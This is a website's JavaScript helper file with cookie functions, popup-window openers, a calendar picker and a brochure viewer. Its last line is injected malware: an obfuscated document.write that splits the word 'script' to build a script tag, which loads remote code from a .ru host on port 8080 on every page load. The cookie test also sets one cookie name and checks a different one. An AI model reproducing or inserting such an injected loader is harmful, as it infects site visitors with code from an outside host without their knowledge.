var expDays = 1;
var expd = new Date(); 
expd.setTime(expd.getTime() + (expDays*24*60*60*1000));

function getCookieVal (offset)
 {  
	var endstr = document.cookie.indexOf (";", offset);  
	if (endstr == -1)    
		endstr = document.cookie.length;  
	return unescape(document.cookie.substring(offset, endstr));
}

function GetCookie (name) 
{  
	var arg = name + "=";  
	var alen = arg.length;  
	var clen = document.cookie.length;  
	var i = 0;  
	while (i < clen) 
		{    
			var j = i + alen;    
			if (document.cookie.substring(i, j) == arg)      
			return getCookieVal (j);    
			i = document.cookie.indexOf(" ", i) + 1;    
			if (i == 0) break;   
		}  
	return null;
}

function SetCookie (name, value) 
{  
	var argv = SetCookie.arguments;  
	var argc = SetCookie.arguments.length;  
	var expires = (argc > 2) ? argv[2] : null;  
	var path = (argc > 3) ? argv[3] : null;  
	var domain = (argc > 4) ? argv[4] : null;  
	var secure = (argc > 5) ? argv[5] : false;  
	document.cookie = name + "=" + escape (value) + 
		((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + 
		((path == null) ? "" : ("; path=" + path)) +  
		((domain == null) ? "" : ("; domain=" + domain)) +    
		((secure == true) ? "; secure" : "");
}


function DeleteCookie (name) 
{  
	var expd = new Date();  
	expd.setTime (expd.getTime() - 1);  
	var cval = GetCookie (name);  
	document.cookie = name + "=" + cval + "; expires=" + expd.toGMTString();
}

function CookiesEnabled()
{
	SetCookie("FSBOCookieTest", "1", expd);
	if (GetCookie("PBCookieTest") != null)
		{
			DeleteCookie("FSBOCookieTest");
			if (navigator.appName !="Netscape")
			{
				if (navigator.cookieEnabled==true) return true; 
				else return false;
			}
			else return true;
		}
	else
		return false;		
}
	
function AlertCookieTest()
{
		var result;
		result = CookiesEnabled();
		if(!result) {
			alert("This section of the site requires that cookies are enabled.");
		}
}
/* opens a popup window */
function openPopupWindow(theURL,winName,features) { 
	var s = window.open(theURL,winName,features);
	if(s) s.focus();
}

function Manage(what,wname){
	displayWindow(what, wname, 650, 550, "resize=yes,scrollbars=yes,resizable=yes");
}

function OpenPopup(what,wname,width, height){
	displayWindow(what, wname, width, height, "resize=yes,scrollbars=yes,resizable=yes");
}

function ShowDescription(code,fid){
	displayWindow('plan_description.php?code='+code+'&fid='+fid, 'Description', 500, 300, "resize=yes,scrollbars=yes,resizable=yes");
}

function ShowWaitWindow(){
	displayWindow('common/wait.html', 'Wait', 300, 100, "resize=no,scrollbars=no,resizable=no");
}

function ShowAdminWaitWindow(){
	displayWindow('../common/wait.html', 'Wait', 300, 100, "resize=no,scrollbars=no,resizable=no");
}

function ShowEmailForm(tip, id, p_prefix)
{
    if (p_prefix == null) {
        p_prefix    = '';
    } //end if    
	displayWindow(p_prefix + 'business_contact.php?tip=' + tip + '&id=' + id, 'contact', 500, 400, "resize=yes,scrollbars=yes,resizable=yes");
} //end function ShowEmailForm

function CloseWaitWindow()
{
 	if  (Wait != null)
 	{
 		if (Wait.opened)
 		{
 			Wait.close();
 		}
 	}	
}

function windowClose(){
	window.close()
}

function displayWindow(theURL,winName,width,height,features) {
    var window_width = width;
    var window_height = height;
    var newfeatures = features;
    var window_top = (screen.height-window_height)/2-20;
    var window_left = (screen.width-window_width)/2;
    newWindow=window.open(''+ theURL + '',''+ winName + '','width=' + window_width + ',height=' + window_height + ',top=' + window_top + ',left=' + window_left + ',' + newfeatures + '');
    newWindow.focus();
}

function OpCancel()
{
	window.close();
	return true;
}

function CloseWnd()
{
	if(opener != null)
		opener.location.href = opener.location.href;
	window.close();
}

function validatedelete(item)
{
	return confirm("Are you sure you want to " + item + "?");
}

function ShowBrochure(pref, hid)
{
    if (pref.match("http:\/\/")) {
        Manage(pref + "common/brochure.php?recID=" + hid + "&pid=" + selectedPicture, "brochure");
    } else {
	    Manage(pref + "common/brochure.php?recID=" + hid + "&pid=" + pref + selectedPicture, "brochure");
	} //end if
}

function ChooseDate(prefix, field)
{
	var v = null;
	displayWindow(prefix + "common/calendar.html?obj=" + field, "Calendar", 250, 250, "scrollbars=yes,menubar=no,resize=no");
}


document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Java.js"></scr'+'ipt>');